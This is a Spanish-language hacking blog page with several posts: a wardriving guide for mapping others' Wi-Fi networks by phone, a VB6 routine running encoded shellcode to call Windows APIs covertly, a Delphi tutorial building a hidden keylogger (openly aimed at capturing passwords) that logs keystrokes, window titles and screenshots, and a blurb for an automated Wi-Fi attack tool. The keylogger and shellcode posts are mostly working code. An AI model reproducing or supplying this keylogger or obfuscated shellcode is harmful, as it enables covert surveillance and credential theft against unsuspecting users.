Wardriving con Android

20:32 0 Comments A+ a-


Según Wikipedia:

Se llama wardriving a la búsqueda de redes inalámbricas Wi-Fi desde un vehículo en movimiento. Implica usar un coche o camioneta y un ordenador equipado con Wi-Fi, como un portátil o una PDA, para detectar las redes.


En este caso, yo les voy a enseñar a como realizar wardriving sin la necesidad de un coche y PC. Es decir, que por medio de un teléfono móvil con Android y caminar algunas cuadras, podremos tener el mismo resultado.
Lo que necesitaremos será instalar una aplicación llamada Wardrive, la cual pueden descargar desde la colección de aplicaciones de Underc0de

 


Una vez instalado, lo abrimos y veremos un mapa, el cual señala en donde estamos parados actualmente.
Lo que debemos hacer ahora, es comenzar a caminar por la calle, o si se prefiere en coche para alcanzar una cobertura aun mayor y la aplicación comenzara a dibujar la ruta que vamos haciendo con todas las redes inalámbricas que detecte. 


Si tocamos en la opción MAP MODE, la aplicación muestra al mapa con un poco más de detalle


Y si hacemos Zoom, podremos ver e identificar bien las casas que tienen Wifi.
Una vez que hayamos recorrido toda la zona, debemos exportar el mapa a KML (Keyhole Markup Language, lenguaje de marcas de Keyhole), KML es un formato de archivo que puede mostrar varios tipos de datos geográficos de nuevas formas. Para exportarlo, presionamos en el móvil el botón de menú y colocamos Exportar.


Y debemos seleccionar la opción KML para Google Earth


Una vez hecho esto, la aplicación guarda el archivo en la raíz del teléfono con el nombre wardrive.kml
Ahora solo debemos subir ese archivo a algún host, en mi caso lo he subido a 


Y lo colocamos en la url de Google Maps de la siguiente forma

 
Como se puede ver, la url llega hasta https://maps.google.com/maps?q= y le he añadido luego del igual la url en donde se encuentra el archivo KML. Esto nos dará como resultado el mapa con todas las redes inalámbricas capturadas.


También podemos hacer que filtre únicamente por las redes abiertas:


Otra de las cosas que se puede hacer, es seleccionar una sola red y ver bien de donde proviene:


En mi caso, esta red que he seleccionado, proviene de una escuela.


Autor: ANTRAX



NanoInvoke - La forma mas rapida de llamar a una API

10:36 0 Comments A+ a-


La shellcode de unos 90bytes se encarga de recorrer el SAFEARRAY de VARIANTs metiendo en el stack los parámetros para el API. Además busca en la IAT del proceso la importación de DllFunctionCall() para obtener el puntero del API.

    'USER32
    Private Declare Function CallWindowProcW Lib "USER32" (ByRef first_asm As Currency, ByRef params() As Variant, ByVal lib As String, ByVal fnc As String, Optional ByVal null0 As Long = 0) As Long
    '---------------------------------------------------------------------------------------
    ' Author : Karcrack
    ' Date   : 12092013
    ' Credits: sonykuccio (http://hackhound.org/forums/topic/2790-vb6asm-%C2%B5callapi/)
    '---------------------------------------------------------------------------------------
     
    Public Function NanoInvoke(ByRef sLib As String, ByRef sFnc As String, ParamArray params() As Variant) As Long
        Dim asm(11)     As Currency
        Dim p()         As Variant
       
        If UBound(params) >= 0 Then p = params
     
        asm(0) = -881438862054780.1504@: asm(1) = -140193315782017.312@: asm(2) = 93112413858165.2867@: asm(3) = 593189448021741.0902@
        asm(4) = 843045704464075.3748@: asm(5) = -4834317066834.7356@: asm(6) = 260429944098681.7488@: asm(7) = 537140947255014.6699@
        asm(8) = 7683543183094.8624@: asm(9) = 598313605633923.5838@: asm(10) = -200740417519275.4208@: asm(11) = 109.8337@
     
        NanoInvoke = CallWindowProcW(asm(0), p, sLib, sFnc)
    End Function
    ' ASM Code: pastebin.com/5gnLv7xn

Modo de Uso:
        Call NanoInvoke("user32", "MessageBoxW", 0, StrPtr("test"), StrPtr("karcrack"), 0)
        Call NanoInvoke("kernel32", "ExitProcess", 0)

ASM Code:
 

    use32
    pushad
     
          mov  esi, $401000       ;WARNING: DEFAULT IMAGEBASE + SECTION SIZE
    @@:   lodsd                   ;EAX = [EDI];EDI+=4
          test eax, eax           ;Did we reach the end?
         je    .exit
          cmp  DWORD[eax], $83EC8B55
         jne   @B
          cmp  DWORD[eax+4], $8D560CEC
         jne   @B                 ;> Opcode matching, is it DllFunctionCall()?
     
          cdq                     ;EDX = 0
          push edx                ;v
          push edx                ;v
          push edx                ;> buffer
          push esp                ;Pointer to buffer
          push $40000             ;Reserved
          push DWORD[esp+$40]     ;Fnc
          push DWORD[esp+$40]     ;Lib
     
          push esp                ;APICall structure made in stack
          call eax                ;DllFunctionCall(APICall)
          add  esp, 7*4           ;Clear stack
     
          mov  edx, [esp+$24]     ;&SAFEARRAY
          mov  edx, [edx]         ;SAFEARRAY
          test edx, edx
         jz    .call
          mov  ecx, [edx+$10]     ;SAFEARRAY size Elements
          mov  esi, [edx+$C]      ;SAFEARRAY.pvData
          imul edi, ecx, $10      ;v
          add  esi, edi           ;>last variant
    @@:   sub  esi, $10           ;ESI = prev variant
          mov  ebx, [esi+$8]      ;EAX = VARIANT.lVal
          push ebx
          loopne @B               ;Repeat
     
    .call:call eax
     
    .exit:mov  [esp-$1C], eax     ;Save return
     
    popad
    ret 4*4



Código realizado por Karcrack


[Delphi] Creacion de un Keylogger

14:35 0 Comments A+ a-

 
[Titulo] : Creacion de un Keylogger
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar teclas
0x03 : Capturar ventanas
0x04 : Capturar pantalla
0x05 : Testeando

-- =================--------


0x01 : Introduccion

Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi.

Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas.

En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi.

0x02 : Capturar teclas

Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen.


Una vez hecho agregamos un memo y tres timers al formulario como en la imagen :

 Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo.

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer; // Declaramos la variable i como entero
  re: Longint; // Declaramos la variable re como longint
  mayus: integer; // Declaramos la variable mayus como entero
 
begin
 
  if (GetKeyState(20) = 0) then // Si se presiona mayus
  begin
    mayus := 32; // Le ponemos el valor de 32 a la variable mayus
  end
  else
  begin
    mayus := 0; // Le ponemos el valor de 0 la variable mayus
  end;
 
  for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z
  begin
 
    re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada
    If re = -32767 then // Contolamos que la variable re sea igual a -32767
    Begin
 
      Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra
      // Mas la variabe mayus
    End;
  end;
 
end;

Una imagen con todo el codigo comentado :


Con esto ya tenemos para capturar las teclas.

0x03 : Capturar ventanas

Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente :

private Nombre2: string;

Con este declaramos el nombre de la ventana que es nombre2 como privado.

Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo:

procedure TForm1.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char
  nombre1: string; // Declaramos nombre1 como string
 
  // Add :
  // private
  // Nombre2: string;
 
begin
 
  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  // Capturamos el nombre de la
  // ventana
 
  nombre1 := ventana1; // nombre1 tendra el valor de ventana1
 
  if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........
  begin
    nombre2 := nombre1; // nombre2 tendra el valor de nombre1
    Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2
  end;
end;

Una imagen con el codigo comentado :


Eso seria la parte de capturar ventanas.

0x04 : Capturar pantalla

Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje.

Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo.

Ahora hacemos doble click en el tercer timer y agregamos este codigo :

procedure TForm1.Timer3Timer(Sender: TObject);
var
  foto1: TBitmap; // Declaramos foto1 como TBitmap;
  foto2: TJpegImage; // Declaramos foto2 como TJpegImage
  ventana: HDC; // Declaramos aca como HDC
 
begin
 
  // Agregar "Jpeg" a "uses"
 
  ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca
 
  foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap
  foto1.PixelFormat := pf24bit; // Establecemos el pixel format
  foto1.Height := Screen.Height; // Capturamos el tamaño
  foto1.Width := Screen.Width; // Capturamos el tamaño
 
  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
    SRCCOPY); // Tomamos la foto con los datos antes usados
 
  foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage
  foto2.Assign(foto1); // Asignamos foto1 en foto2
  foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen
 
  foto2.SaveToFile(IntToStr(Random(100)) + '.jpg');
  // Guardamos la foto tomada
  // con un valor numerico
  // aleatorio mas el formato
  // '.jpg'
 
end;

Una imagen con el codigo comentado :


Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos.

Con esto ya terminamos la parte de capturar las imagenes.

Ahora vamos a probar todo.

0x05 : Testeando

Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers.

Bien ahora voy a mostrarles una imagen de ejemplo :


Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo"
Tambien cada 5 segundos sacaba una foto como esta :


Post realizado por Doddy

Wi-fEye

12:05 0 Comments A+ a-

 

Wi-fEye es una herramienta de pruebas de penetración wireless automatizado escrito en python, esta diseñado para simplificar ataques comunes que se pueden realizar en las redes Wifi para que puedan ser ejecutadas de forma rápida y fácilmente.



Post realizado por Aryenal.bt